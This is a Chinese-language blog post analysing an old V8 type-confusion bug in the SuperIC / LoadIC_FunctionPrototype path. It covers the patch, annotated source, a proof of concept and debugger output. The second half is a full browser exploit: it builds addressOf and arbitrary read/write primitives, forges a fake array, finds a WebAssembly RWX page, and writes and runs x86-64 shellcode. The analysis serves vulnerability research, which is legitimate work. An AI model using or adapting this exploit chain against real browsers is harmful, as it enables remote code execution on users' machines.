赞
踩
这个漏洞是一个比较老的洞,之所以分析这个漏洞,只要是想再学习一下 ICs
相关的知识。并该漏洞的利用是利用与 String/Function
之间的混淆,比较有意思。
sudo apt install python
git checkout 7d5e5f6c62c3f38acee12dc4114c022441e7d36f
gclient sync -D
这里可以把版本提高一些,这个洞比较老了,所以这个分支存在之前分析过的天府杯的那个 ICs
漏洞
patch 如下:
diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc index 888c64f..0dd67e7 100644 --- a/src/ic/accessor-assembler.cc +++ b/src/ic/accessor-assembler.cc @@ -220,8 +220,8 @@ BIND(&call_handler); { exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler), - p->context(), p->receiver(), p->name(), - p->slot(), p->vector()); + p->context(), p->lookup_start_object(), + p->name(), p->slot(), p->vector()); } } diff --git a/src/ic/ic.cc b/src/ic/ic.cc index 8fd7668..afcdd72 100644 --- a/src/ic/ic.cc +++ b/src/ic/ic.cc @@ -835,25 +835,28 @@ Handle<Object> receiver = lookup->GetReceiver(); ReadOnlyRoots roots(isolate()); + Handle<Object> lookup_start_object = lookup->lookup_start_object(); // `in` cannot be called on strings, and will always return true for string // wrapper length and function prototypes. The latter two cases are given // LoadHandler::LoadNativeDataProperty below. if (!IsAnyHas() && !lookup->IsElement()) { - if (receiver->IsString() && *lookup->name() == roots.length_string()) { + if (lookup_start_object->IsString() && + *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength); return BUILTIN_CODE(isolate(), LoadIC_StringLength); } - if (receiver->IsStringWrapper() && + if (lookup_start_object->IsStringWrapper() && *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength); return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength); } // Use specialized code for getting prototype of functions. - if (receiver->IsJSFunction() && + if (lookup_start_object->IsJSFunction() && *lookup->name() == roots.prototype_string() && - !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) { + !JSFunction::cast(*lookup_start_object) + .PrototypeRequiresRuntimeLookup()) { TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub); return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype); } @@ -864,8 +867,7 @@ bool holder_is_lookup_start_object; if (lookup->state() != LookupIterator::JSPROXY) { holder = lookup->GetHolder<JSObject>(); - holder_is_lookup_start_object = - lookup->lookup_start_object().is_identical_to(holder); + holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder); } switch (lookup->state()) {
还是从补丁入手,分析漏洞产生的原因,然后寻找触发方式
一处补丁打在了 LoadIC::ComputeHandler
函数中:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) { Handle<Object> receiver = lookup->GetReceiver(); ReadOnlyRoots roots(isolate()); + Handle<Object> lookup_start_object = lookup->lookup_start_object(); // `in` cannot be called on strings, and will always return true for string // wrapper length and function prototypes. The latter two cases are given // LoadHandler::LoadNativeDataProperty below. if (!IsAnyHas() && !lookup->IsElement()) { // 如果是 string.length 则设置特殊的处理函数 LoadIC_StringLength // 但是漏洞代码验证的是 receiver // 后面 StringWrapper、JSFunction 同理 - if (receiver->IsString() && *lookup->name() == roots.length_string()) { + if (lookup_start_object->IsString() && + *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength); return BUILTIN_CODE(isolate(), LoadIC_StringLength); } - if (receiver->IsStringWrapper() && + if (lookup_start_object->IsStringWrapper() && *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength); return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength); } // Use specialized code for getting prototype of functions. - if (receiver->IsJSFunction() && + if (lookup_start_object->IsJSFunction() && *lookup->name() == roots.prototype_string() && - !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) { + !JSFunction::cast(*lookup_start_object) + .PrototypeRequiresRuntimeLookup()) { TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub); TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub); return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype); } } Handle<Map> map = lookup_start_object_map(); Handle<JSObject> holder; bool holder_is_lookup_start_object; if (lookup->state() != LookupIterator::JSPROXY) { holder = lookup->GetHolder<JSObject>(); // 这里没啥区别,就是单独把 ookup->lookup_start_object() 赋给了 lookup_start_object 变量 - holder_is_lookup_start_object = - lookup->lookup_start_object().is_identical_to(holder); + holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder); } switch (lookup->state()) { ......
这里我们主要关注补丁上下的逻辑,可以看到在原来的漏洞代码中,对 String.length
和 Function.prototype
的特殊处理判断条件使用的是 receiver
,如果是这两种情况,则会设置特殊的处理程序,并其 handler
设置为 code
类型
这里简单验证下加载字符串的 length
属性时的 ICs
的 handler map
是不是 code
类型:
var str = "Hello World"; function f(s) { return 1 + s.length } for (let i = 0; i < 20; i++) { %DebugPrint(f); readline(); f(str); } 调试输出如下: - slot #1 LoadProperty MONOMORPHIC { [1]: [weak] 0x2d9808042251 <Map> [2]: 0x2d980804a601 <Code BUILTIN LoadIC_StringLength> } ...... gef➤ job 0x2d980804a601 0x2d980804a601: [Code] in ReadOnlySpace - map: 0x2d9808042621 <Map> kind = BUILTIN name = LoadIC_StringLength compiler = turbofan ...... gef➤ job 0x2d9808042621 0x2d9808042621: [Map] in ReadOnlySpace - type: CODE_TYPE ......
可以看到这里的 handler
确实是 code
类型的,对于加载 JSFunction
同理
另一处补丁打在了 AccessorAssembler::HandleLoadICHandlerCase
函数中:
void AccessorAssembler::HandleLoadICHandlerCase( const LazyLoadICParameters* p, TNode<Object> handler, Label* miss, ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent, ElementSupport support_elements, LoadAccessMode access_mode) { Comment("have_handler"); TVARIABLE(Object, var_holder, p->lookup_start_object()); TVARIABLE(Object, var_smi_handler, handler); Label if_smi_handler(this, {&var_holder, &var_smi_handler}); Label try_proto_handler(this, Label::kDeferred), call_handler(this, Label::kDeferred); // 如果是 smi_handler 则跳转至 if_smi_handler 逻辑执行 Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler); // 不是 smi_hanlder 则执行 try_proto_handler 逻辑 BIND(&try_proto_handler); { // 检查是否是 CodeMap,如果是则跳转至 call_handler 逻辑执行 GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler); // 原型链 handler HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler, &if_smi_handler, miss, exit_point, ic_mode, access_mode); } // |handler| is a Smi, encoding what to do. See SmiHandler methods // for the encoding format. // smi_handler BIND(&if_smi_handler); { HandleLoadICSmiHandlerCase( p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss, exit_point, ic_mode, on_nonexistent, support_elements, access_mode); } // 处理 code_map handler BIND(&call_handler); { // 这里传入的居然是 p->recviver() exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler), - p->context(), p->receiver(), p->name(), - p->slot(), p->vector()); + p->context(), p->lookup_start_object(), + p->name(), p->slot(), p->vector()); } }
可以看到这里的补丁仅仅把传入的参数 p->receiver()
修改成了 p->looup_start_object()
,对于 CodeMap
的 handler
会直接走到 call_handler
,这里会调用特殊的函数进行处理。有了之前分析天府杯那个洞的经验,可以猜到这里可能存在 receiver
和 lookup_start_object
的类型混淆。然后结合第一处补丁代码,可以知道这里存在 String/Function
与某个对象的类型混淆
这里可能不太好理解(至少笔者最开始没有理解,这里主要是对 Javascript
原型链相关的知识不熟悉),在加载 String.length
或 Function.prototype
时,传入的参数为 receiver
,并且之前生成 handler
时检查的参数也是 receiver
,笔者最开始并没有感觉有问题。比如就 String.length
而言,在笔者看来如果相要走到 call_handler
逻辑,那么根据生成 handler
时的检查逻辑, receiver
必然是 String
,所以最后传入的参数是 receiver
似乎没啥问题。这里发生混淆的可能性就是 receiver
不是 String
,而是一个其它类型,但是按理说 receiver
必须是一个 String
,不然就无法通过之前的检查,所以笔者也是想了很久,也没有想到该如何进行触发
最后没办法,只有对着原作者的 POC
撸了,POC
中主要利用的点是:复态共用内联缓存处理程序
function poc() { class C { m() { return super.prototype; // C.prototype.__proto__.prototype } } function f() {} C.prototype.__proto__ = f; // set C.prototype.__proto__ = function f() {} let c = new C() ; c.x0 = 1; c.x1 = 1; c.x2 = 1; c.x3 = 1; c.x4 = 0x42424242 / 2; f.prototype; // load f.prototype ==> 创建内联缓存 let res = c.m(); // C.prototype.__proto__.prototype ==> f.prototype } for (let i = 0; i < 0x100; ++i) { poc(); }
先来简单分析一下该 POC
:
main
函数时,执行 C.prototype.__proto__ = f
后,f
的 map
也会改变,因为其成为了 prototype
main
中执行 f.prototype
时,f
的 map
都不同,m
函数同理,所以 main/f
两个函数对于 f.prototype/super.prototype
都是复态m
函数前总是先执行 f.prototype
:其主要的目的就是创建缓存处理程序m
函数时就会复用 f.prototype
创建的缓存处理程序当然这里为啥要用 super
呢?因为这里要共用缓存处理程序,则两次访存对象的属性偏移应当是一样的。而这里你会发现 f.prototype
和 super.prototype
其实是一个东西
这里就成功绕过了计算 code map handler
时对 c map
的检查,在总结一下就是:
String.length/Function.prototype
提前创建好缓存处理程序 target
target
这里 super.prototype
产生的字节码为 LdaNamedPropertyFromSuper
:
// LdaNamedPropertyFromSuper <receiver> <name_index> <slot> // // Calls the LoadSuperIC at FeedBackVector slot <slot> for <receiver>, home // object's prototype (home object in the accumulator) and the name at constant // pool entry <name_index>. IGNITION_HANDLER(LdaNamedPropertyFromSuper, InterpreterAssembler) { TNode<Object> receiver = LoadRegisterAtOperandIndex(0); TNode<HeapObject> home_object = CAST(GetAccumulator()); TNode<Object> home_object_prototype = LoadMapPrototype(LoadMap(home_object)); TNode<Object> name = LoadConstantPoolEntryAtOperandIndex(1); TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2); TNode<HeapObject> feedback_vector = LoadFeedbackVector(); TNode<Context> context = GetContext(); TNode<Object> result = CallBuiltin(Builtins::kLoadSuperIC, context, receiver, home_object_prototype, name, slot, feedback_vector); SetAccumulator(result); Dispatch(); }
其主要就是调用 LoadSuperIC
,最后会调用到 AccessorAssembler::LoadSuperIC
:
void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) { ExitPoint direct_exit(this); TVARIABLE(MaybeObject, var_handler); Label if_handler(this, &var_handler), no_feedback(this), non_inlined(this, Label::kDeferred), try_polymorphic(this), miss(this, Label::kDeferred); // 没有 feedback 则跳转到 no_feedback 逻辑 GotoIf(IsUndefined(p->vector()), &no_feedback); // The lookup start object cannot be a SMI, since it's the home object's // prototype, and it's not possible to set SMIs as prototypes. // 检查 map TNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object()); GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss); // 尝试单态,失败则跳转到 try_polymorphic 逻辑 TNode<MaybeObject> feedback = TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler, &var_handler, &try_polymorphic); // 成功获取 handler 进行处理 BIND(&if_handler); { LazyLoadICParameters lazy_p(p); HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss, &direct_exit); } // 没有 freedback 则执行 LoadSuperIC_NoFeedback BIND(&no_feedback); { LoadSuperIC_NoFeedback(p); } // 尝试多态 BIND(&try_polymorphic); TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss); { Comment("LoadSuperIC_try_polymorphic"); GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined); HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback), &if_handler, &var_handler, &miss); } // 这里的逻辑是 lookup_start_object != receiver 则执行 LoadIC_Noninlined // 可能是防止类型混淆 BIND(&non_inlined); { // LoadIC_Noninlined can be used here, since it handles the // lookup_start_object != receiver case gracefully. LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler, &if_handler, &miss, &direct_exit); } // 发生 ICs_miss 则执行 Runtime::kLoadWithReceiverIC_Miss BIND(&miss); direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(), p->receiver(), p->lookup_start_object(), p->name(), p->slot(), p->vector()); }
AccessorAssembler::LoadSuperIC
跟 AccessorAssembler::LoadIC
差不多,就不过多分析了,主要是我没有找到处理 megamorphic
的源码…
然后执行下 POC
:
可以看到程序在 Builtins_LoadIC_FunctionPrototype
中崩了,原因是内存访问错误,可以看到这里 rdi
的低 4 字节正是 c.x4
。
然后我们来看下 Builtins_LoadIC_FunctionPrototype
函数的大致逻辑:
正常情况下,这里传入的 rdx
指向的应该是一个 JSFunction
对象,然后 [rdx+0x1b]
存储的是 function prototype
的地址:
然后与 [$r13 + 0xa8
作比较以检查原型是否存在,如果不存在该地址指向 the_hole
:
如果存在原型,则检查 function prototype
的 map
是否合法:
如果 map
合法,则读取固定偏移处的 prototype
并返回,这里读取的偏移为 0xf
。String.length
处理同理分析即可,这里不再赘述。
在上面的漏洞分析中,我们得到了一个漏洞:某对象与 String/Function
的类型混淆。接下来就考虑如何去利用该原语去构造 addressOf/arb_read/write
原语了。
对于 String
,其取 length
的路径为:
String ⇒ Value=[String_addr+0xb] ⇒ length=[Value_addr+0x7]
对于 Function
,其取 prototype
的路径为:
Function ⇒ function_prototype=[Function_addr+0x1b] ⇒ prototype=[function_prototype_addr+0xf]
todo
:如何进行利用后面再写,有点事情
exp
如下:
var buf = new ArrayBuffer(8); var dv = new DataView(buf); var u8 = new Uint8Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var roots = new Array(0x30000); var index = 0; function pair_u32_to_f64(l, h) { u32[0] = l; u32[1] = h; return f64[0]; } function u64_to_f64(val) { u64[0] = val; return f64[0]; } function f64_to_u64(val) { f64[0] = val; return u64[0]; } function set_u64(val) { u64[0] = val; } function set_l(l) { u32[0] = l; } function set_h(h) { u32[1] = h; } function get_l() { return u32[0]; } function get_h() { return u32[1]; } function get_u64() { return u64[0]; } function get_f64() { return f64[0]; } function get_fl(val) { f64[0] = val; return u32[0]; } function get_fh(val) { f64[0] = val; return u32[1]; } function add_ref(obj) { roots[index++] = obj; } function major_gc() { new ArrayBuffer(0x7fe00000); } function minor_gc() { for (let i = 0; i < 8; i++) { add_ref(new ArrayBuffer(0x200000)); } add_ref(new ArrayBuffer(8)); } function hexx(str, val) { console.log(str+": 0x"+val.toString(16)); } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } class C1 { m() { return super.prototype; } } class C2 { m() { return super.length; } } class C3 extends Array { m() { return super.length; } } var c1 = new C1(); var c2 = new C2(); var c3 = new C3(); function trigger1(obj) { let str = new String("XiaozaYa"); C2.prototype.__proto__ = str; c2.x0 = obj; str.length; let res = c2.m(); return res; } function leak_element(obj) { for (let i = 0; i < 100; i++) { let res = trigger1(obj); if (res != 8) return res; } } var leak_object_array = [{}, {}, {}, {}]; var leak_object_array_element = leak_element(leak_object_array); hexx("leak_object_array_element", leak_object_array_element); //%DebugPrint(leak_object_array); function trigger2() { let str = new String("XiaozaYa"); C3.prototype.__proto__ = str; str.length; let res = c3.m(); return res; } function leak_part_addr() { for (let i = 0; i < 100; i++) { let res = trigger2(); if (res != 8) return res; } } function addressOf(obj) { leak_object_array[0] = obj; c3.length = (leak_object_array_element-1) / 2; let l = leak_part_addr(); c3.length = (leak_object_array_element+1) / 2; let h = leak_part_addr(); return ((l >> 8) & 0xff) | (h << 8); } function read32(addr) { c3.length = (addr-8) / 2; let l = leak_part_addr(); c3.length = (addr-8+2) / 2; let h = leak_part_addr(); return ((l >> 8) & 0xff) | (h << 8); } var fake_object_array = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6]; var fake_object_array_addr = addressOf(fake_object_array); var fake_object_array_map = read32(fake_object_array_addr-1); var fake_object_array_map_map = read32(fake_object_array_map-1); var fake_object_array_element = leak_element(fake_object_array); hexx("fake_object_array_addr", fake_object_array_addr); hexx("fake_object_array_map", fake_object_array_map); hexx("fake_object_array_map_map", fake_object_array_map_map); hexx("fake_object_array_element", fake_object_array_element); //%DebugPrint(fake_object_array); var fake_object_addr = fake_object_array_element+8+8*4; fake_object_array[0] = pair_u32_to_f64(0xEEEEEEEE, (fake_object_array_map_map & 0xff) << 24); fake_object_array[1] = pair_u32_to_f64((fake_object_array_map_map & 0xffffff00) >> 8, 0x11223344); fake_object_array[2] = pair_u32_to_f64(0x55667788, (fake_object_addr & 0xff) << 24); fake_object_array[3] = pair_u32_to_f64((fake_object_addr & 0xffffff00) >> 8, 0x11223344); fake_object_array[4] = pair_u32_to_f64(fake_object_array_map, 0x0804222d); fake_object_array[5] = pair_u32_to_f64(fake_object_array_element, 0x20); c1.x0 = 0; c1.x1 = 1; c1.x2 = 2; c1.x3 = 3; c1.x4 = (fake_object_array_element-1+8+8)/2; function trigger3() { function f() {} C1.prototype.__proto__ = f; f.prototype; let res = c1.m(); return res; } for (let i = 0; i < 200; i++) { trigger3(); } var fake_array = trigger3(); function arb_read_cage(addr) { fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20); return f64_to_u64(fake_array[0]); } function arb_write_half_cage(addr, val) { arb_read_cage(add); fake_array[0] = pair_u32_to_f64(val, get_h()); } function arb_write_full_cage(addr, val) { fake_object_array[5] = pair_u32_to_f64(addr-8, 0x20); fake_array[0] = u64_to_f64(val); } var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128, 128,0,1,96,0,1,127,3,130,128,128,128, 0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128, 0,0,7,145,128,128,128,0,2,6,109,101,109,111, 114,121,2,0,4,109,97,105,110,0,0,10,142,128,128, 128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]); var wasm_module = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_module); var pwn = wasm_instance.exports.main; var shellcode = [ 0x10101010101b848n, 0x62792eb848500101n,0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n,0x1010101010101b8n, 0x6d606279b8485001n,0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n,0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n,0x894852e201485a08n,0x50f583b6ae2n, ]; var wasm_instance_addr = addressOf(wasm_instance); var rwx_addr = arb_read_cage(wasm_instance_addr+0x68); hexx("rwx_addr", rwx_addr); var raw_buf = new ArrayBuffer(0x200); var ddv = new DataView(raw_buf); var raw_buf_addr = addressOf(raw_buf); hexx("raw_buf_addr", raw_buf_addr); arb_write_full_cage(raw_buf_addr+0x14, rwx_addr); for (let i = 0; i < shellcode.length; i++) { ddv.setBigInt64(i*8, shellcode[i], true); } pwn(); //%DebugPrint(raw_buf); //%SystemBreak();
效果如下:
通过这个漏洞对原型链的理解也更加深刻了,而且发现 Class.prototype.__proto__
配合 spuer
在 SuperIC
的类型混淆漏洞中比较常用。这里漏洞跟之前分析的混淆漏洞不同的是其混淆的时 Function
对象,但是实际分析利用下来,发现混淆什么对象其实不重要,重要的是能不能找到适配的对象,这里的适配对象指的是能够在该对象中伪造有效字段。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。